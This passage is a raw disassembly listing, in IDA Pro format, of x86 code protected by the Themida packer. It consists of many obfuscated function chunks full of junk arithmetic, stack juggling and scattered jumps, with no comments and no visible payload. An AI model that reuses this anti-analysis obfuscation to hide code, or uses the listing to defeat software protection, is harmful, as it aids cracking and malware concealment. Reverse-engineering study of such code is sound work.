; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569B75


loc_56119E:				; CODE XREF: sub_569B75-2754j
		push	esi
		mov	ebx, [esp+0]
		add	esp, 4
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		add	eax, ebx
		mov	ebx, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		jmp	loc_56B67E
; END OF FUNCTION CHUNK	FOR sub_569B75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57377E


loc_5611C6:				; CODE XREF: sub_57377E+15DAj
		push	edi
		mov	edi, esp
		jmp	loc_56DCF3
; END OF FUNCTION CHUNK	FOR sub_57377E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CD13


loc_5611CE:				; CODE XREF: sub_56CD13-DF4j
		xor	ebp, ecx
		pop	ecx
		sub	ecx, 14443A16h
		jmp	loc_56DA27
; END OF FUNCTION CHUNK	FOR sub_56CD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56671D


loc_5611DC:				; CODE XREF: sub_56671D+C36j
		mov	esi, [esp+8+var_8]
		add	esp, 4
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		jmp	loc_563792
; END OF FUNCTION CHUNK	FOR sub_56671D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563152


loc_5611ED:				; CODE XREF: sub_563152+9j
		mov	[esp+2+var_2], ax
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_563152
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E5BB


loc_5611F6:				; CODE XREF: sub_56E5BB+3398j
		pop	ebx
		sub	edx, 6C3574EEh
		add	edx, edi
		add	edx, 6C3574EEh
		pop	edi
		push	ecx
		mov	ecx, 4
		sub	edx, 1EFD099Bh
		jmp	loc_572FE8
; END OF FUNCTION CHUNK	FOR sub_56E5BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_561217:				; CODE XREF: sub_561541+9FC7j
		sub	ecx, edi
		pop	edi
		mov	eax, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		sub	ecx, 672F0506h
		add	ecx, 3C5B5CF5h
		sub	ecx, eax
		sub	ecx, 3C5B5CF5h
		push	edx
		jmp	loc_571D6B
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_56123F:				; CODE XREF: sub_56CC46-14EAj
		push	ecx
		mov	ecx, 6955092Dh
		jmp	loc_5743D3
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D7


loc_56124A:				; CODE XREF: sub_5747D7-150Ej
		xchg	eax, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebx
		jmp	sub_56651E
; END OF FUNCTION CHUNK	FOR sub_5747D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_561256:				; CODE XREF: sub_56BD44-9FB4j
		mov	edi, [esp+4+var_4]
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 58B01909h
		neg	edi
		sub	edi, 4A690F31h
		shl	edi, 1
		neg	edi
		sub	edi, 46325070h
		jmp	loc_560A43
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EE9F


loc_561279:				; CODE XREF: sub_56EE9F-CB1Cj
		mov	esi, [esp+4+var_4]
		jmp	loc_56897E
; END OF FUNCTION CHUNK	FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560C12


loc_561281:				; CODE XREF: sub_560C12+817Cj
		add	edi, ebx
		pop	ebx
		add	edi, 2
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56BF51
; END OF FUNCTION CHUNK	FOR sub_560C12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_561298:				; CODE XREF: sub_56616D+B166j
		pop	esi
		inc	ecx
		shr	ecx, 7
		shr	ecx, 7
		add	ecx, 2BD36F6Bh
		xor	edx, ecx
		jmp	loc_572426
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_5612AD:				; CODE XREF: sub_5738F4-CB7Bj
		xor	edi, 1AE521A1h
		add	eax, edi
		jmp	loc_5737C1
; END OF FUNCTION CHUNK	FOR sub_5738F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D4B8


loc_5612BA:				; CODE XREF: sub_56D4B8-8B03j
		add	ebp, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		push	esi
		mov	esi, 4C9605Ch
		add	edi, esi
		pop	esi
		sub	edi, 123C2D57h
		add	edi, ebp
		add	edi, 123C2D57h
		sub	edi, 4C9605Ch
		pop	ebp
		add	edi, 4
		xor	edi, [esp-4+arg_0]
		xor	[esp-4+arg_0], edi
		xor	edi, [esp-4+arg_0]
		pop	esp
		add	eax, 780803FBh
		mov	ecx, [esp-8+arg_4]
		push	esi
		mov	esi, esp
		jmp	loc_574048
; END OF FUNCTION CHUNK	FOR sub_56D4B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_561300:				; CODE XREF: sub_57354D-10D19j
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		add	ebx, 4
		jmp	loc_56BCA0
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_561316:				; CODE XREF: sub_569FB8+A620j
		add	esp, 2
		sub	esp, 2
		mov	[esp+2+var_2], bx
		push	5ECDh
		mov	[esp+6+var_6], edx
		push	ecx
		mov	cl, 0B9h
		mov	dh, cl
		jmp	loc_56C3BF
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_561332:				; CODE XREF: sub_561541+1221Dj
		push	eax
		push	4953h
		jmp	loc_563066
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_56133D:				; CODE XREF: sub_56628B+1CD7j
		add	esp, 4
		push	3565h
		mov	[esp+4+var_4], ecx
		jmp	loc_56005C
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C553


loc_56134D:				; CODE XREF: sub_56C553+6F24j
		mov	[esp+0Ch+var_C], esi
		push	[esp+0Ch+var_C]
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 65502174h
		inc	edi
		inc	edi
		inc	edi
		jmp	loc_5724FC
; END OF FUNCTION CHUNK	FOR sub_56C553
; ---------------------------------------------------------------------------


loc_56136D:				; CODE XREF: Themida_:00561155j
		push	eax
		push	ebp
		push	63CB32C1h
		mov	ebp, [esp]
		jmp	loc_57150C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56749A


loc_56137C:				; CODE XREF: sub_56749A-511j
		bt	[esp+0], ax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56749A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560137


loc_561387:				; CODE XREF: sub_560137+9j
		mov	[esp+4+var_4], edi
		push	esp
		pop	edi
		push	52D9h
		mov	[esp+8+var_8], ebp
		mov	ebp, 34A11519h
		shl	ebp, 7
		xor	ebp, 508A8C84h
		add	edi, 7EC60229h
		add	edi, ebp
		push	ecx
		jmp	sub_56DA36
; END OF FUNCTION CHUNK	FOR sub_560137
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_5613B0:				; CODE XREF: sub_566117+8D7Aj
		pop	eax
		push	esi
		mov	esi, ebp
		mov	ecx, esi
		pop	esi
		pop	ebp
		xor	ecx, 5DEB3093h
		xor	ecx, 4A9C76E1h
		jmp	loc_56D9C3
; END OF FUNCTION CHUNK	FOR sub_566117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563FA2


loc_5613C9:				; CODE XREF: sub_563FA2+EEFFj
		mov	[esp+0], edx
		mov	edx, 2
		add	esi, edx
		pop	edx
		push	0D71h
		mov	[esp+0], esi
		push	[esp+arg_0]
		mov	esi, [esp+4+var_4]
		add	esp, 4
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		inc	word ptr [esp-4+arg_0]
		pushf
		jmp	loc_563317
; END OF FUNCTION CHUNK	FOR sub_563FA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D72


loc_5613F9:				; CODE XREF: sub_567D72+9630j
		add	dword ptr [esp+0], 4
		pop	ecx
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	esi
		mov	esi, esp
		jmp	loc_560F5F
; END OF FUNCTION CHUNK	FOR sub_567D72

; =============== S U B	R O U T	I N E =======================================



sub_561418	proc near		; CODE XREF: sub_5605BC+9AF7j

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005601A8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005602DE SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00560CE1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00561E6C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562060 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00562160 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056223C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005623BB SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005627CE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056287B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005629C7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005633AC SIZE 0000004B BYTES
; FUNCTION CHUNK AT 00563C0B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056563A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00565D8B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056622C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056635B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00566484 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0056731E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056736E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056791A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00567A18 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00567D5C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568275 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00568630 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00568B79 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00568E2D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569010 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056936F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005694EA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00569ED9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056BBAB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BD4C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056C208 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056C89C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056CA11 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056D8F4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056DC40 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056E67D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056EBBE SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056EE46 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056F1CF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056FCF0 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056FD47 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00570103 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005701C2 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005703CD SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0057152D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005716BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057181A SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00571E75 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00572023 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0057220E SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00572725 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00572A6F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00572C33 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00572E79 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005737EB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0057398D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005739D5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057402D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00574477 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00574499 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00574A64 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00574C78 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00575031 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005751D7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0057528D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0057546A SIZE 00000017 BYTES

		push	ebp
		jmp	loc_5737EB
sub_561418	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5684A6


loc_56141E:				; CODE XREF: sub_5684A6-3CF7j
		mov	esi, edi
		mov	ecx, esi
		pop	esi
		pop	edi
		push	ecx
		jmp	loc_5652F3
; END OF FUNCTION CHUNK	FOR sub_5684A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561F05


loc_56142A:				; CODE XREF: sub_561F05+15j
		add	esi, 5E923B80h
		jmp	loc_566B2C
; END OF FUNCTION CHUNK	FOR sub_561F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573876


loc_561435:				; CODE XREF: sub_573876-8949j
		add	[esp+arg_4], ebx
		pop	ebx
		sub	[esp-4+arg_4], eax
		sub	[esp-4+arg_4], 147E6C73h
		sub	esp, 4
		mov	[esp+0], ebx
		push	edi
		push	6FCD1673h
		mov	edi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_56B235
; END OF FUNCTION CHUNK	FOR sub_573876
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_561460:				; CODE XREF: sub_56241E+126D0j
		neg	bx
		shl	bx, 4
		xor	bx, 31D5h
		jmp	loc_56A7AD
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------


loc_561471:				; CODE XREF: Themida_:0056B610j
		mov	ebx, 0FFD00A9h
		jmp	loc_5626C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_56147B:				; CODE XREF: sub_561541-910j
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp+10h+var_10]
		jmp	loc_5617F8
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D855


loc_561490:				; CODE XREF: sub_56D855+5j
		push	esp
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	eax
		push	ecx
		mov	ecx, esp
		push	eax
		push	edx
		push	5DBF6661h
		pop	edx
		neg	edx
		add	edx, 62C67F02h
		sub	edx, 0C48D9C7Ch
		jmp	loc_56E220
; END OF FUNCTION CHUNK	FOR sub_56D855
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_5614B6:				; CODE XREF: sub_566117+DD9Aj
		mov	esp, [esp+4+var_4]
		add	esp, 4
		jmp	loc_56CD05
; END OF FUNCTION CHUNK	FOR sub_566117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_5614C4:				; CODE XREF: sub_570732+3B73j
		push	436Ch
		mov	[esp+4+var_4], ebp
		jmp	loc_56B46E
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_5614D1:				; CODE XREF: sub_572641-B7E1j
		add	al, 0Fh
		sub	al, bl
		jmp	loc_56DAC8
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5638E4


loc_5614DA:				; CODE XREF: sub_5638E4+7CB8j
		add	ebx, 7D5E0DA3h
		push	ebp
		mov	ebp, 66B24CE7h
		xor	ebx, ebp
		pop	ebp
		jmp	loc_564E1C
; END OF FUNCTION CHUNK	FOR sub_5638E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569D5F


loc_5614EE:				; CODE XREF: sub_569D5F+9j
		mov	bh, 86h
		add	bh, cl
		jmp	loc_56AA41
; END OF FUNCTION CHUNK	FOR sub_569D5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571890


loc_5614F7:				; CODE XREF: sub_571890-1952j
		pop	[esp+0Ch+var_C]
		push	eax
		mov	eax, 4
		add	[esp+0Ch+var_8], eax
		pop	eax
		jmp	loc_56F4DE
; END OF FUNCTION CHUNK	FOR sub_571890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_56150A:				; CODE XREF: sub_56638C+9j
		mov	[esp+4+var_4], esi
		push	esp
		mov	esi, [esp+8+var_8]
		push	49h
		mov	[esp+0Ch+var_C], edx
		jmp	loc_56266F
; END OF FUNCTION CHUNK	FOR sub_56638C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5648C6


loc_56151E:				; CODE XREF: sub_5648C6+87C6j
		mov	[esp+4+var_4], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		movsx	ecx, al
		sub	esp, 4
		mov	[esp+0], edi
		push	esp
		pop	edi
		jmp	loc_56420A
; END OF FUNCTION CHUNK	FOR sub_5648C6

; =============== S U B	R O U T	I N E =======================================



sub_561541	proc near		; CODE XREF: sub_56D4B8+6BADj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0056018C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005601E6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00560C2D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00561217 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00561332 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056147B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005617F8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00563066 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00563888 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056554D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567057 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00567147 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00567173 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00567806 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00567FA4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568011 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00568063 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00568C62 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056B4FB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056BE87 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056C133 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056CE6D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056DBEF SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056E8DE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056FAF7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057163E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00571D6B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00571F45 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005722B0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00572915 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00572EE4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00573735 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0057412F SIZE 00000013 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 74C95DCBh
		sub	ecx, 64245707h
		jmp	loc_568011
sub_561541	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_561557:				; CODE XREF: sub_5620B7+333Aj
		mov	[esp+0], edx
		push	eax
		jmp	loc_560156
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD6F


loc_561560:				; CODE XREF: sub_56FD6F-2CFAj
		pop	eax
		jmp	loc_56968C
; END OF FUNCTION CHUNK	FOR sub_56FD6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_561566:				; CODE XREF: sub_574656-C4AEj
		add	edx, ebx
		pop	ebx
		sub	edx, 4
		xchg	edx, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		mov	[esp+0], ebx
		push	esp
		pop	ebx
		jmp	loc_56B25B
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_56157F:				; CODE XREF: sub_5678CB+2BB6j
		sub	ah, 0EFh
		jmp	loc_57548D
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563DCB


loc_561587:				; CODE XREF: sub_563DCB+29F4j
		mov	bl, al
		jmp	loc_562F5F
; END OF FUNCTION CHUNK	FOR sub_563DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D855


loc_56158E:				; CODE XREF: sub_56D855-8084j
		mov	esi, 0FB85D4F7h
		push	ecx
		mov	ecx, esi
		mov	edi, ecx
		pop	ecx
		pop	esi
		add	ebx, edi
		pop	edi
		add	eax, ebx
		jmp	loc_56CE3A
; END OF FUNCTION CHUNK	FOR sub_56D855
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_5615A4:				; CODE XREF: sub_5605BC+9687j
		xchg	edx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	5B65h
		mov	[esp+10h+var_10], edx
		jmp	loc_5700F3
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DBB0


loc_5615B7:				; CODE XREF: sub_56DBB0+Ej
		add	esp, 4
		sub	ebx, 6B3E5282h
		sub	ebx, edx
		push	edi
		jmp	loc_56FE4D
; END OF FUNCTION CHUNK	FOR sub_56DBB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567C58


loc_5615C8:				; CODE XREF: sub_567C58+BA42j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+14h+var_14]
		pop	esp
		xor	edi, 15B37067h
		push	17F0h
		mov	[esp+14h+var_14], eax
		mov	eax, 190670CFh
		xor	edi, eax
		push	[esp+14h+var_14]
		jmp	loc_56ADEF
; END OF FUNCTION CHUNK	FOR sub_567C58
; ---------------------------------------------------------------------------


loc_5615F2:				; CODE XREF: Themida_:0056FACCj
		xor	ebp, 5A683AF2h
		sub	dword ptr [esp+4], 16ED07E4h
		add	[esp+4], ebp
		add	dword ptr [esp+4], 16ED07E4h
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5609F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568CD2


loc_561618:				; CODE XREF: sub_568CD2-162Aj
		push	351343D9h
		pop	eax
		jmp	loc_561CCE
; END OF FUNCTION CHUNK	FOR sub_568CD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5745B5


loc_561623:				; CODE XREF: sub_5745B5-F132j
		add	al, 17h
		mov	edx, [esp+4+var_4]
		add	esp, 4
		add	al, bl
		push	ebx
		push	eax
		mov	ah, 97h
		push	edx
		mov	dh, ah
		push	ecx
		jmp	loc_56F244
; END OF FUNCTION CHUNK	FOR sub_5745B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D855


loc_56163D:				; CODE XREF: sub_56D855+4973j
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp+10h+var_10]
		jmp	loc_56C910
; END OF FUNCTION CHUNK	FOR sub_56D855
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575420


loc_56164C:				; CODE XREF: sub_575420-108EEj
		mov	dl, cl
		pop	ecx
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_564B65
; END OF FUNCTION CHUNK	FOR sub_575420
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564020


loc_56165D:				; CODE XREF: sub_564020-BD1j
		push	edi
		mov	edi, 7ED81C06h
		dec	edi
		jmp	loc_567DFB
; END OF FUNCTION CHUNK	FOR sub_564020
; ---------------------------------------------------------------------------


loc_561669:				; CODE XREF: Themida_:0056E69Dj
		pop	edx
		xchg	ebx, [esp]
		jmp	loc_571E51
; ---------------------------------------------------------------------------


loc_561672:				; CODE XREF: Themida_:00571A35j
		push	4CBB4D33h
		pop	eax
		or	eax, 78483191h
		not	eax
		jmp	loc_56EC27
; ---------------------------------------------------------------------------


loc_561684:				; CODE XREF: Themida_:00570B25j
		push	43FAh
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_565F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_56169E:				; CODE XREF: sub_56638C-16D1j
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 2
		add	esi, ebp
		jmp	loc_569366
; END OF FUNCTION CHUNK	FOR sub_56638C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_5616AD:				; CODE XREF: sub_569193+5576j
		xor	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	397Fh
		jmp	loc_56ABFA
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5734A7


loc_5616BD:				; CODE XREF: sub_5734A7-190Dj
		add	edx, 561B375Ch
		and	edx, 584C4D6Ch
		xor	edx, 463B12A5h
		add	edx, 30CE91E1h
		sub	edi, edx
		jmp	loc_572E0B
; END OF FUNCTION CHUNK	FOR sub_5734A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_5616DC:				; CODE XREF: sub_572DD7-111A5j
		sub	esi, 4
		xchg	esi, [esp+8+var_8]
		jmp	loc_572C8A
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_5616EA:				; CODE XREF: sub_56CC46-1692j
		sub	ecx, ebx
		pop	ebx
		jmp	loc_570530
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_5616F2:				; CODE XREF: sub_574A21-B217j
		pop	edi
		sub	edx, 48A1E868h
		xchg	ecx, edx
		push	ecx
		not	[esp+8+var_8]
		pop	ecx
		xchg	ecx, edx
		push	eax
		mov	eax, 0FFFFFFFFh
		add	edx, eax
		pop	eax
		inc	edx
		and	edx, 0F1C329Fh
		push	0BF5h
		mov	[esp+8+var_8], ecx
		push	ebx
		jmp	loc_56E730
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_561720:				; CODE XREF: sub_568E5C-36DAj
		mov	edx, 331F51D7h
		sub	edx, 73FA2B8Ah
		dec	edx
		neg	edx
		jmp	loc_56A9BD
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D359


loc_561733:				; CODE XREF: sub_56D359-8D05j
		add	[esp+14h+var_C], edi
		mov	edi, [esp+14h+var_14]
		jmp	loc_567710
; END OF FUNCTION CHUNK	FOR sub_56D359
